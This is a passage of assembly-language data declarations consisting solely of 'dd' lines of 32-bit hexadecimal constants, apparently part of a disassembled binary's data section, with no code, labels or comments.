		dd 9D112E50h, 3B1AC56h,	3FF519FAh, 0A588DFF9h, 3D598589h
		dd 0B7900421h, 9BEA5018h, 174CB2Bh, 11D9BDEBh, 0B5F8AA48h
		dd 1DE547Eh, 86DEDAA0h,	41CCFFDCh, 2F0A49E5h, 569FA4F2h
		dd 0A962AADFh, 9D2300D9h, 9C9702CDh, 37F4576h, 0BF844181h
		dd 72E4DCF3h, 0C45582DDh, 0B3900B9Fh, 0C3705035h, 0D079009Bh
		dd 45FED897h, 0A9A5C9D5h, 8C1DAC17h, 8EEB8702h,	0D5548CC4h
		dd 0E9257CD8h, 0C4DB71B2h, 603E914Ah, 0EDAD6A8Bh, 7296BB00h
		dd 0BF6147D2h, 2CAADE09h, 98537951h, 64F7B452h,	9001F6B8h
		dd 0C28F33BBh, 0C1DE5048h, 0BD6BE151h, 122112BCh, 0DB9343F2h
		dd 640A80C7h, 0E6FAE0A2h, 0D1A416A6h, 0B02AAC66h, 974604BFh
		dd 0FD5B54BAh, 12BF8E50h, 0BC95716h, 6BCA49D0h,	0CB180155h
		dd 6560693Bh, 256BB201h, 3FECF6B3h, 0A8922B45h,	8FAADDAh
		dd 20C67AF3h, 2AAD2091h, 6B02DF95h, 93115B9h, 0DD1C45B1h
		dd 9ACC0407h, 33110075h, 0EE73B898h, 6302D9E7h,	0AE1C6177h
		dd 0E014AE03h, 0ADD52B31h, 851D3888h, 43101101h, 826CDFD0h
		dd 5F79D497h, 48D8DF5Bh, 0B9EAA208h, 24756912h,	0B5C1C191h
		dd 1D2F4135h, 2E5C8258h, 575E5B52h, 6B98D62Dh, 14DEC75h
		dd 82A720DFh, 6B65871Dh, 1D5059EDh, 0E1166439h,	0B1714111h
		dd 0ADF567F5h, 842220h,	0D3A75714h, 0AAFC0FD0h,	935B5638h
		dd 0F0FC75E9h, 0FCA513D3h, 815000DEh, 0C4AB43E3h, 6A80973Ah
		dd 0B31BD01h, 2F061F22h, 3FFEF88Ah, 65BD2BE0h, 0CCF29E06h
		dd 234A95A8h, 344822E7h, 5F10D910h, 0B5CDD486h,	0F95332F4h
		dd 282F2D0Dh, 0B519895Ch, 954531C1h, 54CF6150h,	25D125BCh
		dd 0FB1360ECh, 639B239Ah, 0CF593DC0h, 0BEC5ADB5h, 0B7BF1171h
		dd 307AB06Bh, 28EF84Eh,	86E3E4EFh, 0C3C1034Fh, 0F1560202h
		dd 6D54AFA0h, 5B93F924h, 968ADABEh, 6B0934E6h, 6BEA800Fh
		dd 174066FCh, 991D65Bh,	1074B9D8h, 1FF49154h, 81CB4D0Dh
		dd 9B9929DFh, 9D132F1Eh, 0AF13D0AEh, 60785F3h, 5FFBC4DBh
		dd 0DC2556E9h, 0BAF30E00h, 4CC0709Bh, 80665E69h, 51D6E2FCh
		dd 6D250E90h, 83EEA23h,	2800B77Ah, 6F762ABCh, 41BF26EFh
		dd 20051F1Ch, 0C02B5B09h, 0CC09D531h, 0B5A59D71h, 0CDA70B2Dh
		dd 35B66D5Fh, 0B85CBD1Ch, 85A0B9Bh, 5B506621h, 440CEDBFh
		dd 8F80601Ah, 0BE6B0B5Dh, 71D310FAh, 7F0EE589h,	0BFC17B95h
		dd 0E5D9C18Ch, 5A8DEC30h, 0F005E220h, 25EE8060h, 307461F9h
		dd 0B99B01DCh, 2201D86Ah, 91856A53h, 5E5BB2C2h,	14365168h
		dd 0BBCDC8FFh, 7315AB00h, 417D69B5h, 0E2F30BB6h, 98FFF54Ch
		dd 3112D657h, 15DE7633h, 0F3F76F2Eh, 3FE78100h,	0FF262B2Ch
		dd 123DE148h, 3F32ACDh,	19051784h, 57DA994Eh, 0F6F77E1Ch
		dd 177CBD75h, 280704FAh, 0D2FCAECCh, 0D88A929Dh, 51951F69h
		dd 0EFF7E940h, 0DECC40D8h, 580B8380h, 599FA151h, 6C5F0081h
		dd 375D0332h, 0A374C200h, 9AA47139h, 93B03873h,	0E82E0493h
		dd 30205AC3h, 0D22C47h,	0E321CF85h, 0DD1EF6ADh,	971BF500h
		dd 0C2D9B9Dh, 0D76D9560h, 0D0A030C0h, 42FF1432h, 0F52A8B1Eh
		dd 310997DDh, 47C0CECDh, 9FE1809Ah, 1F3D6340h, 97FDF197h
		dd 5770BA3Ah, 0D9AE6h, 89BE9809h, 0D7DFC1A5h, 0F47F1628h
		dd 0E55FBD25h, 4A205030h, 0F060A625h, 8CEAB796h, 2C92BD63h
		dd 5C1B6107h, 1C46D626h, 82B07C0Eh, 9E697403h, 6EF178BAh
		dd 73A99800h, 52F609h, 8774429h, 0AD56BCD4h, 0E990CB08h
		dd 0DBEF8110h, 0C4B3E47Fh, 9BE02FD0h, 3E646600h, 506CC4EEh
		dd 0E76D9D90h, 0E44EF0C0h, 0B076B50h, 23517270h, 84A22F79h
		dd 0A337EB4Ah, 0F7CC3CB1h, 0C09D207Ch, 0C13710Eh, 9300A62Bh
		dd 685BD609h, 4AC8D752h, 0D48AB42Fh, 0B501DCF1h, 0FE682BBFh
		dd 1646FE89h, 1EDF3209h, 12BFCCFFh, 0F4E3E9FEh,	0D6114A1Ah
		dd 0B94B753Ch, 0E7EC4Ah, 0D7FA0F3Eh, 7D57BFCBh,	0FE135E2Fh
		dd 0BCDFC458h, 7AFE4A0Ch, 3F3A02D1h, 437795D4h,	0D511A219h
		dd 429FFA94h, 0EDB55053h, 0C92D9B6Fh, 0FF157F4Eh, 11FC6C40h
		dd 675709D4h, 445FEC4Bh, 2AB725CFh, 6A465FE2h, 991D3403h
		dd 39604D40h, 0A78FD82Eh, 3C007D6Eh, 968E80F3h,	67BB6604h
		dd 0DB835035h, 5857F7CEh, 0D783B8B2h, 3B960141h, 8F81059Bh
		dd 30A95A22h, 0F6B55106h, 0E05E5AD1h, 0D5E931D4h, 329D52h
		dd 7BE09868h, 4080975Fh
		dd 2ABF2367h, 0AAF659B7h, 0A2210EE8h, 8DC4BDFBh, 5B7EAB85h
		dd 2721832Ch, 1DF93E59h, 3100DA18h, 0F3B093BFh,	4A50CAB4h
		dd 0A42A04Dh, 7948FBBFh, 93661Ah, 759866B7h, 183841A7h
		dd 51AD9589h, 7C1FF781h, 127EE071h, 25F109BDh, 0AAA09367h
		dd 8814670Eh, 10CFEC77h, 3122C25h, 0AFA1EB9Dh, 0E85EE27Fh
		dd 302901C6h, 0D0391007h, 54213AB5h, 8FC4A17Bh,	6A5E1274h
		dd 0CE98FBC7h, 0E2FE95DDh, 60466DDAh, 0CD0D16B5h, 54E0FC01h
		dd 9E85ADAh, 17CABB15h,	88B62B28h, 4AE95B8Eh, 0B2A0A742h
		dd 0B403E0BBh, 0CB013D13h, 8B466A04h, 0C53AAFFAh, 6E2010F2h
		dd 1D122829h, 4071F593h, 8076D58Ah, 0A72F0A2Bh,	2F41B7ACh
		dd 0A16248F4h, 5C1AC24Ch, 80C4515Fh, 0B6D38157h, 9135D18Dh
		dd 3B16212h, 0C2EBFE09h, 8A22028Eh, 0CF37FF9h, 0EA6CB852h
		dd 8852D55h, 660984D2h,	70CC30BFh, 18739D46h, 5556FD8h
		dd 0EC6D80A8h, 6DC1EEEAh, 0CBD0194Fh, 58C91263h, 2546F32Ah
		dd 37A91096h, 0C2AE00CDh, 456E7F85h, 440067CAh,	3062EC25h
		dd 5A4756C6h, 0FB91A48Fh, 4473FE97h, 0AEC9EB5Bh, 0C9BF209Fh
		dd 4FFF5F6Bh, 0CE4B401Bh, 722E887Ch, 4A3DAD6Eh,	0B312DB8Ah
		dd 5608F75Eh, 48BDB0B0h, 0AE030095h, 34B445D8h,	0DB1E814Ah
		dd 3395F81Ch, 185089CCh, 25034868h, 10DD4B73h, 73BF5201h
		dd 2595128Ah, 0AA41E85Fh, 5D52EE4Ah, 0B2D07E3h,	7B259FDCh
		dd 0F894A038h, 38449710h, 0FF5912C9h, 0D37FAD9Ah, 0D35B52FDh
		dd 6A3ADE01h, 888868DBh, 3107134Dh, 55692D8Dh, 7B95AF16h
		dd 0BE052E9h, 0B119494Dh, 6046203Dh, 70E32Ah, 0C18CBEF5h
		dd 936162A9h, 0DFBF8BD9h, 0E5D06F7Dh, 0F62FE18Eh, 0B79D020Bh
		dd 83EA7F1Eh, 627183F3h, 2E899B30h, 9CA46F1h, 0EC5FE2F4h
		dd 0BA899589h, 0C0C3CDD5h, 98615BA8h, 0BBF2A612h, 0B193BBE2h
		dd 0BC397DE6h, 1B61021Ch, 3309D6A3h, 96D9B580h,	0FD954CB3h
		dd 6B989B8h, 0E88A2D04h, 80E69661h, 827D9CE2h, 45206508h
		dd 0F2F127FFh, 0CD8D2982h, 0E9BF5C08h, 0CEB507F0h, 1069273Ch
		dd 7E5A90FEh, 7DE4D4B3h, 26001575h, 162C4B27h, 972FDF80h
		dd 73458414h, 0A12889D9h, 411304Bh, 71003063h, 0C53D341Dh
		dd 0B86D0AC9h, 2F0545E6h, 0A6D6EBF9h, 0BF7AA030h, 62EA2522h
		dd 8E59AE09h, 83377F25h, 594DDB00h, 901F927Fh, 0FC12597h
		dd 407A8A54h, 800D1D17h, 297F9E9h, 0F8FD8A99h, 0B56AB088h
		dd 8F683EF4h, 55BBC947h, 0BF3B20A0h, 7C4860BDh,	0E1F82D3Fh
		dd 0E417051Fh, 1FBDC0F3h, 337FB350h, 10F2895Fh,	0A14BF75Fh
		dd 567F21C5h, 0EF28EE43h, 632F0089h, 983F4EEDh,	840CA024h
		dd 0D037EF17h, 4A297AA9h, 26192006h, 3204E420h,	0C85E22ABh
		dd 75D76580h, 4BAD984Ch, 0B661845Fh, 1DEAE077h,	0B6AF02BFh
		dd 0E19D0341h, 8190C9A4h, 140484D1h, 0D9A13F81h, 4DBD31F0h
		dd 0FE4B9599h, 0B200A16Fh, 0AD6ED727h, 0D39F7E93h, 0DA0D979Ch
		dd 0C914888Dh, 358DBC01h, 19CA2B2Ch, 256BA47Ch,	77C6E53Dh
		dd 95F98A20h, 77707194h, 405D4FBFh, 331BA6E3h, 0E3ED9D4Ah
		dd 0EF026A16h, 180EE9Bh, 0E35DD7ACh, 0D3FF4903h, 8DBD3368h
		dd 31BD21FFh, 7D900212h, 553BB90h, 0D3827507h, 0D7D9509Dh
		dd 819B1264h, 0CE310B12h, 8E2B72E9h, 29B310D6h,	0F5B50105h
		dd 62E6EB2Fh, 91EFA1F0h, 61839705h, 4DD2CF30h, 3FD1552Dh
		dd 0E4EAFF8Ch, 82D400E6h, 1A0AC4BCh, 0EF253B6Ah, 0C49AC64Bh
		dd 120D9940h, 0FBCD35FEh, 973D438h, 2445480Dh, 0B51E6251h
		dd 0AB969D44h, 0F961A8AAh, 3549603Ah, 0AC6471B1h, 0B7A81192h
		dd 0B874F94Bh, 6A028C19h, 11EB700Ch, 5570A969h,	0F9F5BCBAh
		dd 148609B3h, 1A454E50h, 0AC40842Ah, 6FEED3E7h,	0E1AD0575h
		dd 0B2F85084h, 0BB5FF5C0h, 4225179Bh, 570FEA63h, 0C93520BDh
		dd 0D92878B8h, 6EFF5AFCh, 8B0C0BBCh, 65F305D8h,	0A2AE02D5h
		dd 29984BBBh, 0CF818892h, 7B862D07h, 5509B05Dh,	4574F85h
		dd 92C19ECh, 5188555Fh,	0E8F60037h, 18FE8083h, 0C2EB6B00h
		dd 0B1B96020h, 0D32E2C0Dh, 43D60909h, 5C433D7Ah, 0E25AB938h
		dd 9600915h, 41A25D95h,	49FD8D23h, 0F37F6150h, 11405BF0h
		dd 0BDED6094h, 42AC3A56h, 0E08516h, 6672BB9Bh, 0FA971EC3h
		dd 7670F7BCh, 664DD60Ch, 0C54FDA92h, 0E83D22FBh, 0AF9C6D80h
		dd 84004C0Dh, 0EF014F03h, 3E290271h, 33037494h,	5BB98AB4h
		dd 0B7F9CA30h, 9B880F5Fh, 0F7D901BDh, 3B29C82Bh, 8B1801E2h
		dd 30957AD1h, 57E2E981h, 48C76C1Bh, 0D7B51980h,	0A4822Ch
		dd 981707BDh, 169DC88Ch, 48C0654Bh, 97494755h, 485CF31Ah
		dd 3D78C425h, 0DC8FAC1Ah, 89C23F7Fh, 78E069B0h,	0FAF61301h
		dd 0F3806606h, 0E13A5BA0h, 97F6EFDCh, 0AA435DA4h, 0BDFF6A9Ch
		dd 912538CDh, 4EC05C06h, 18F2574h, 99CE45F5h, 50602B56h
		dd 9D9E5879h, 0E20A1C00h, 5BD465BDh, 681D04FDh,	0BC61C621h
		dd 90A8D68Fh, 753A04D3h, 888FBD0Eh, 0E5B39D25h,	5CA7E77Bh
		dd 964C926h, 7EAA49EDh,	273FE204h, 6F8290BDh, 91D423ABh
		dd 0D7EF02DEh, 0A87CEEE6h, 0F9249902h, 141190h,	8536F8A4h
		dd 0FBEFABh, 34551348h,	4C171B75h, 0BE10B605h, 94AE5B31h
		dd 0C575B8A4h, 0A8567AB9h, 6B1088h, 0BE1E794Fh,	0A896D37h
		dd 5CC52D24h, 0B182B302h, 2D3B5EA0h, 57270637h,	51F545A0h
		dd 0FC2E17D4h, 0E508A356h, 0B85F0911h, 1E82A7D9h, 0EDD22BD0h
		dd 0AAA3E47Dh, 0F95AE7DBh, 4FAA8C3h, 8138DBDh, 13B2A260h
		dd 29EBDE1Ah, 8B6E2F13h, 9B42EA00h, 0FE8B9CB8h,	70C7E695h
		dd 0EDD78A84h, 756C695Eh, 26ED6B01h, 274238Fh, 0E33F122Fh
		dd 0B6B6A519h, 6D1FDDE0h, 2680A158h, 160B7A4Dh,	80FAB738h
		dd 9540912Eh, 0D5F03A4Bh, 0E5CA3725h, 0ABAA1336h, 0F800447Bh
		dd 0A29D7C59h, 0BD4C305Fh, 0C95550D2h, 97A90A4Eh, 20C09F94h
		dd 3AA1322Ah, 34E7A303h, 0D006D25Fh, 2DE30338h,	0B5FD9597h
		dd 0E1D926EBh, 2AE1FF42h, 38AC51F9h, 8A40BD96h,	0EEE2F5h
		dd 0DE367380h, 9A1F944Ah, 19881C5Bh, 0F6A02FE6h, 15A7758h
		dd 5B89EAECh, 90DB34D5h, 1A41258Dh, 1014AAE7h, 5D850913h
		dd 0C47E7932h, 0BE9EEAC7h, 0A8C671C5h, 123020E9h, 0E660E3B7h
		dd 34DFE0D9h, 3DD7B3F7h, 2E58B1CAh, 0BDDB4E16h,	667FB28Bh
		dd 95CF90C7h, 14C0A4CAh, 99970E7Dh, 0AE142157h,	98BFBC13h
		dd 0ED95F803h, 631C644Eh, 0E0E9C0EAh, 25D276BBh, 2BF137F2h
		dd 61368F0Fh, 134FA557h, 22F956FAh, 0FC5B4ADEh,	4AF93AF7h
		dd 0D8F58DBh, 912DD7F4h, 0FBBFACFAh, 697D7029h,	0BD4B89E8h
		dd 0F55B2F40h, 2E7F2C68h, 11E95236h, 79602F0Ah,	0A7B28B4Bh
		dd 0D35D60DFh, 0FC294E7Ch, 0CF047975h, 6C4AAFA9h, 1D337ACh
		dd 0E3A3A8F8h, 1E122F3Ch, 97BFFh, 0A69FB9D6h, 6212945Fh
		dd 85DC2A7h, 0F802E902h, 0E3AF8DA2h, 502DABE5h,	442279C1h
		dd 59F7EF50h, 28D6A4Fh,	0C0F5E0E3h, 69385EDBh, 0F9931171h
		dd 203BB88h, 0F608D9EAh, 0F35F8943h, 486F7094h,	0D4C9D70Eh
		dd 0D437A94Fh, 5B510BBAh, 49004D55h, 150447D3h,	96EE21C6h
		dd 59955A67h, 191BF92Ch, 0ACD49807h, 0F83A8BAh,	0BD965B52h
		dd 83B0BF18h, 0BB51B537h, 1E53B1BEh, 0A26A46B3h, 0F5962CB9h
		dd 299401DEh, 5BED1E46h, 13552834h, 9FAA19C8h, 770AC00Ch
		dd 0DA45FEh, 680D86C1h,	72C9FEFh, 20AA575Ah, 7F564E4Ch
		dd 52CCC90Bh, 2518D637h
		dd 100904D2h, 4D07339Ch, 16FCC091h, 0A0FCC486h,	45259B98h
		dd 8BB77F1Ch, 8F6E1D14h, 2AA480E0h, 0B82BB22Eh,	50EB24C6h
		dd 1D4A6063h, 0CA27855Fh, 0E68989A7h, 9D2309DBh, 6D5530E5h
		dd 4B4CCB46h, 8A1B821Dh, 61FE3980h, 2F16CCBFh, 30562DBEh
		dd 5E42EAE2h, 20625A21h, 0F84E4472h, 295E3CFFh,	31D59511h
		dd 619DC5DEh, 0C2B6EF02h, 4D604ABFh, 2583849h, 95A127ECh
		dd 6CD77232h, 55BF12C1h, 58B2EFB9h, 8D296002h, 0BF0712D5h
		dd 7DC65330h, 2EB89861h, 706E0DDDh, 45F4185h, 3281DEDEh
		dd 0F6D19D33h, 1D0BCF08h, 0D59C7F03h, 376B0C69h, 5E54A75Ch
		dd 0D4755F01h, 206BFCABh, 0E5628BF5h, 5AC53402h, 77CEFD12h
		dd 0C5D97B84h, 0BD52FE68h, 5FEC12B9h, 5B6CF15Ch, 4AF86AFAh
		dd 0B9A03D8h, 0F3DE519Fh, 23B13282h, 0E4E76D55h, 0E0F66214h
		dd 0B730B183h, 94DC1DFCh, 7BDEC037h, 1E023BDBh,	6AFC4FC8h
		dd 0B4905DADh, 39005E75h, 0A4905326h, 4D3738Bh,	0C9DF939Ch
		dd 37C0AEF5h, 5AA72A96h, 0B0BFE725h, 49BD0B91h,	89095EF5h
		dd 0F37D519Dh, 52C10555h, 83E3BADAh, 624E4600h,	74D8878Ah
		dd 5564A127h, 2A80853Fh, 0F966C6C0h, 4B0313A0h,	7F8CAA38h
		dd 72DE9788h, 6FA5E968h, 4D9F42CEh, 0BF5E03F5h,	0F5FA8A36h
		dd 85564C4Ah, 4E215DF6h, 2FA8B16h, 0F3E3E7BFh, 5E49495Eh
		dd 0FE3ADE6Bh, 365887E9h, 0FCF538A5h, 0A0128AAAh, 12C59896h
		dd 0AF17B660h, 0B9C80153h, 0C14002Bh, 0E9736FAh, 4802DB8Ah
		dd 0F1FCCCF3h, 39915EE3h, 6AF78009h, 956294D5h,	9091C35h
		dd 0FEB8FF68h, 3F951639h, 397F2586h, 0E92BB105h, 9918D870h
		dd 0C450812Dh, 6EB5810Fh, 99B3A308h, 76386985h,	0A8E0A24Bh
		dd 183F00CEh, 50710DF2h, 6BB8F64Ah, 0D50A1D25h,	30270637h
		dd 626774C1h, 0EFF4B4DEh, 1C85D97Fh, 0B492BEBBh, 8E7BF278h
		dd 7E2D1C50h, 0D14ADE41h, 61370630h, 0FE367B5Ch, 4BD6BE82h
		dd 8127E55Dh, 0DA273F43h, 0C94530ABh, 615901F7h, 916D33Ah
		dd 4A1B79E1h, 950105C0h, 8AAA1275h, 29EF1E11h, 0DC2F0AC8h
		dd 802D13BBh, 7BD6F536h, 758C0593h, 0AAF98B03h,	5EE21499h
		dd 82C5169h, 8110F582h,	0B700FEF7h, 1532739h, 971D6DBDh
		dd 0DCE80954h, 0C6DDE63Fh, 15DF243Bh, 0C43C161Eh, 0B3CEAAF4h
		dd 0D7059D17h, 0E9DA7162h, 25102FE0h, 143119B0h, 5A30C161h
		dd 6BA70DAh, 81F00D30h,	30ED47EAh, 8912140Ch, 0B887E595h
		dd 0F964FE9Fh, 2438C604h, 0E6BE9A85h, 9EA29213h, 0C22B580Ch
		dd 0C8BFF01Ah, 5C4D3886h, 122D955Ah, 5003A5C4h,	81D0033Ch
		dd 2E45B33Ah, 474A8419h, 2723092Dh, 4C72D9E9h, 77C88B24h
		dd 0BBC0CD17h, 0D63C4003h, 0EDE1C14Fh, 0FAF5BC32h, 24912C4h
		dd 27F80505h, 30CE19Ch,	4D208DD1h, 8ED4D2Eh, 9B11288h
		dd 0A6F26412h, 0C4831670h, 519B3104h, 1094208Bh, 0B0A98114h
		dd 59B56014h, 90C3C033h, 20F12415h, 522464BFh, 25BDE3BAh
		dd 7E427768h, 0D2FC7C55h, 2086B8Dh, 7DE4ED82h, 0A7C8D34Bh
		dd 0D5E20072h, 8D94B09Eh, 0F13A284h, 0F5F92786h, 0F70EBAC0h
		dd 2D076DF3h, 5D3C0A1Eh, 0D1DBB930h, 0BC017F0Ch, 0E5F14287h
		dd 6FE16643h, 11E3C425h, 5E587107h, 0C6D1F3B5h,	226F6433h
		dd 0A4D96891h, 0FB1D0811h, 0F9C3801Ch, 5A2A5B1Bh, 0CF0C5990h
		dd 383234FFh, 1480F9FBh, 0ABC381FEh, 6F79F30Bh,	375CB81Eh
		dd 0CD979CBBh, 0BF86495Eh, 22883A1h, 1904B32Dh,	455D890Fh
		dd 0E8EC00BFh, 0A7B25229h, 1E7C8400h, 35411ACBh, 32AE00BDh
		dd 60161C89h, 5903F857h, 6A4C281h, 4061DAD9h, 48C0E85Dh
		dd 194887AAh, 9CB0FA09h, 19444052h, 0B2960E9h, 719B0143h
		dd 2421161Dh, 0E6B70A40h, 4B31CEh, 36C38FC6h, 0B9668CEEh
		dd 0E9A1E809h, 7D6C297Dh, 4CC08651h, 0F8650Ch, 0CBB993B5h
		dd 9D520FAFh, 0D99A9E00h, 3B4599A8h, 75E833h, 0D211DF43h
		dd 0B0D5C9A6h, 9BE3F33h, 0FF210042h, 8B24D209h,	46001420h
		dd 1C93BA4Ch, 99464B5h,	5DA134E4h, 0B220D287h, 108ED8D2h
		dd 4930A2E8h, 0DE8D813Fh, 0F9B80708h, 559F900Bh, 0F430CAEFh
		dd 0B975183Eh, 7F66707Ch, 377402ABh, 6FA3DFD4h,	91819383h
		dd 0A5954100h, 8F100F73h, 66F4EED2h, 219D08FEh,	738D3700h
		dd 2F4871C0h, 5847031Eh, 6975FB20h, 0D995ECF8h,	8C7BCB28h
		dd 3BB1121h, 0BCF5697Ah, 59CB1001h, 92284AE9h, 0CCBBE0h
		dd 3B91C3E6h, 0DA5E528Bh, 89E1A600h, 6F9B065Fh,	0E89D00EEh
		dd 0CBCF7FF0h, 0D6005DA2h, 0D02B9EE2h, 0C14C50h, 0CDE6C772h
		dd 1328F5F8h, 129DB900h, 0C8ACAD7Ch, 0F2CAE664h, 4B970FB8h
		dd 74405019h, 9A09AF16h, 6D2A0300h, 0B9DDA31Ch,	2F9503DFh
		dd 1B7243B8h, 0F88756A8h, 0A5E9540Fh, 0E0403DDBh, 76D928D1h
		dd 6B580052h, 0BB14B950h, 9A001D2Eh, 0DDA15D83h, 756FE037h
		dd 667601D8h, 87B5FE58h, 66DF44Ah, 7170F776h, 74BB361Ch
		dd 2088DF0Eh, 820CECA6h, 2B62181Bh, 0F7F54884h,	0DE108F0Ch
		dd 3ABC2876h, 307A7A74h, 0A0110599h, 4B0BFEC6h,	86D9A31Bh
		dd 6B08CB31h, 7C0021A9h, 5435E0FEh, 939BD81Bh, 0C02AEA19h
		dd 0BBCFF5h, 0BF7DBD7Ch, 8AA83CC7h, 4D3F2301h, 0AF886B74h
		dd 675E0ACh, 897215CFh,	20685400h, 2BC4FC85h, 9F366B9h
		dd 34022186h, 0B6262050h, 7B564144h, 875B1982h,	8480B776h
		dd 0BF4C4B74h, 18D130A1h, 87201D6Ah, 881163FCh,	20523200h
		dd 0E0D1F44Ch, 8F6B711Fh, 178DBDC3h, 5800CCCAh,	0AAF499FCh
		dd 0E1634700h, 0DD7E67FFh, 416C001Bh, 0CAB3574Fh, 7F1F6B14h
		dd 0FE80B137h, 0CD6EB725h, 1C431DDCh, 0EAE2CC7h, 57008083h
		dd 0F7F16114h, 0BB6D6B00h, 58EC465Ch, 9B110078h, 0EA5373A6h
		dd 5A00852Ah, 8CE0C309h, 0F3FD79h, 0ED452315h, 0A409D14h
		dd 3C329Eh, 7D12449Fh, 39C6C725h, 0D0866BE0h, 20ADBCF3h
		dd 0B4371403h, 0E0AAFD7Ch, 61044E9Dh, 76999EF9h, 0EF6270D3h
		dd 0FC325106h, 7748F226h, 4B43B29h, 79107ABEh, 0D16B0617h
		dd 0F079BD1Dh, 26290FFDh, 8963486Dh, 9302030h, 215D2198h
		dd 803E1D26h, 9093C07Ah, 1CCDE3Bh, 0C1705B06h, 1FD1DB99h
		dd 80E65CD1h, 0F9FDFAC0h, 9F029A90h, 5FF8B066h,	463400C2h
		dd 267E608Ah, 8C4DDB39h, 0F9861AFCh, 0A7B320F8h, 0B0C03703h
		dd 10AC6FD8h, 109D3E10h, 99009C73h, 8DB9A4DDh, 0BE00CE36h
		dd 1613D6A3h, 3B2DF711h, 7D0B7Bh, 6E8DF3B7h, 0AE6ABD27h
		dd 540D8E01h, 7A01B87Ch, 0EEF2EFF0h, 0DFF174E9h, 8E670C28h
		dd 0C8796B19h, 0CF7B871Fh, 0CE909844h, 81880501h, 0B03180EBh
		dd 80A1620Ch, 1F39DFFCh, 72660CA6h, 217B5311h, 2E130F00h
		dd 7DA31144h, 2BB100ECh, 0ED9C86Ch, 391E1B36h, 6946BDC7h
		dd 1981AFh, 8DCF1E2Eh, 9064B8CDh, 0C4F851C0h, 4612FFh
		dd 3BFB351Fh, 99724AD7h, 0DF18100h, 516C68F9h, 4857601Bh
		dd 75EE3010h, 2041FF6Fh, 0B8E994A4h, 0DFF70ED5h, 1F809560h
		dd 0BFC57536h, 0F90121E2h, 0B2D53BC0h, 5881AA85h, 70EB7915h
		dd 0A8F0B3F3h, 800BCA7h, 6BB5FC73h, 0CDDED61Fh,	0E1E0C140h
		dd 367EC0Fh, 9E7D4E91h,	0DBA3FD81h, 0D042C7C1h,	600273Fh
		dd 0C8A3D7BBh, 2682D5E3h, 0D097034h, 18A1EAh, 9BFB238Dh
		dd 0EE77BD0Fh, 0EF610EE2h, 9F13019Ch, 2883BA6Ah, 9AFDD47Dh
		dd 0E60F6100h, 67C1B545h, 27053F2Bh, 0A3EE2E00h, 0F30CC4CDh
		dd 7CA47206h, 1930B506h
		dd 28B643FEh, 0C13E080Dh, 7C97BEAEh, 9D4DC86Dh,	7B78A460h
		dd 65378D3Dh, 2104D1E9h, 8C83631Ch, 0C06DD119h,	991F0010h
		dd 0E62AC6BDh, 99C0B46Bh, 0DB1A1777h, 0F8A33BD6h, 0A31075A9h
		dd 40DC445Ch, 739638B6h, 0D0011EB4h, 83C34728h,	20F1363Dh
		dd 0BF1B7D1Ch, 86DBBCC1h, 38805627h, 0FA82A979h, 627D65DEh
		dd 0EF40B1DEh, 7F6BCE3h, 42380EAEh, 5480CD6Ch, 76B9106Dh
		dd 926250C6h, 0AEDB0308h, 7770CFDDh, 3D6C8CE0h,	0C5187967h
		dd 0BF132600h, 9B603065h, 76C44F78h, 9A017900h,	12DC5817h
		dd 66402839h, 0FF9F22A0h, 33E0E0Ah, 6E03983Ch, 0D09DA837h
		dd 5C9A4CC5h, 0EC005998h, 0ACF8E661h, 8C186B8Dh, 7794436h
		dd 0F52819B7h, 176449EDh, 62F8ECD0h, 3025FE7Ch,	0FAF17A63h
		dd 0A2077156h, 8978A327h, 0B8C43371h, 0A07BD2FCh, 38C58B4h
		dd 3883509Ch, 0F800203Ah, 45A54B5Ah, 0C8BC47h, 7CE34A57h
		dd 0E86C9596h, 12D4DC09h, 254420A4h, 17A660Eh, 3E5A679Ch
		dd 0F8C29B69h, 7C003CACh, 3DBDE110h, 60E06D90h,	49D810AAh
		dd 0C52A91D5h, 0CD00B8B6h, 3CF3AE20h, 0A8662887h, 75A47FCh
		dd 9998640h, 0E60EC1CFh, 5467DCA0h, 24D8E0Bh, 58150AAEh
		dd 2C783832h, 7D0762D0h, 3DF6B66Fh, 8E775A11h, 1E76A960h
		dd 284DE6A9h, 0FD3F0AA8h, 849152h, 22B14A73h, 0D10088ACh
		dd 480F1ACEh, 0E8C6F4h,	775B7863h, 0FA1CF7CCh, 0A83BAB7Eh
		dd 0E7CF8075h, 1B22B098h, 726F06B3h, 489938AFh,	9CB13E00h
		dd 0E7A7BFF2h, 0C8750096h, 7C6040D7h, 31019203h, 0CB1172DCh
		dd 38805FD3h, 44798DBAh, 8C00E5C4h, 4F1039BFh, 0C0F5B89Eh
		dd 0E242251h, 80F991EEh, 29311C20h, 787BD7ABh, 197803BCh
		dd 9BF5A2F6h, 8951311Eh, 4B071047h, 3370CD57h, 9B37FEh
		dd 86FDB916h, 7EFF5A41h, 0A0773A33h, 581FD498h,	5856C982h
		dd 3A006374h, 18BD8102h, 0C90E70Ah, 0B4C3F5F7h,	0BB30FF68h
		dd 80FE3188h, 7A4C058Ch, 40C37108h, 6E57C7ACh, 7F01E68Eh
		dd 0FDF697BCh, 0CC30D94Dh, 0B480032Bh, 0AF71AB7Bh, 0AC8F3000h
		dd 70F836D6h, 6F260006h, 9B31E098h, 41001604h, 9367E62Ch
		dd 0EA13037h, 7FD81D32h, 63D06E83h, 2AE892DBh, 0FC19F752h
		dd 8F085A02h, 6FB82180h, 4101ED92h, 8C1D0C00h, 1971B418h
		dd 674C00CBh, 4D734842h, 30C01F4Bh, 0BF2F1283h,	9FA5039Dh
		dd 17AD7F1Ch, 6DF60818h, 445920h, 6215FBBFh, 0D83699F0h
		dd 0A7133703h, 0A85FDA0Ch, 76C5A54h, 3D7F86C7h,	85F380DDh
		dd 0F90FE732h, 181FF0F8h, 106C6E88h, 1420291h, 83FC5286h
		dd 9B70DB32h, 0FA8C07C3h, 779106h, 0CF691859h, 0D26A9700h
		dd 8913C995h, 4E8302FAh, 8AC82086h, 223209Ch, 0D0B50105h
		dd 8051BAA4h, 330E32D0h, 12D85338h, 0E1E5E54h, 6F8C5FCFh
		dd 4B481121h, 0C4A90075h, 0BF25B9F8h, 0C93330CCh, 5604A5B8h
		dd 7F9AA61h, 93F4D9E6h,	989602F3h, 17D1C37Eh, 83C6D8A0h
		dd 0FF6F3B6Fh, 0D0F00058h, 67949DFh, 7151FE96h,	0D6008BEh
		dd 0DFC83F21h, 0FFA90555h, 4F86CFF0h, 906E39Ch,	0A407A073h
		dd 64DD67A3h, 0B514B4EAh, 0D0B88284h, 357490CEh, 21D8EE38h
		dd 8B915FC4h, 384D1700h, 8139C21Fh, 0E7DDE10Eh,	58F5CC0Eh
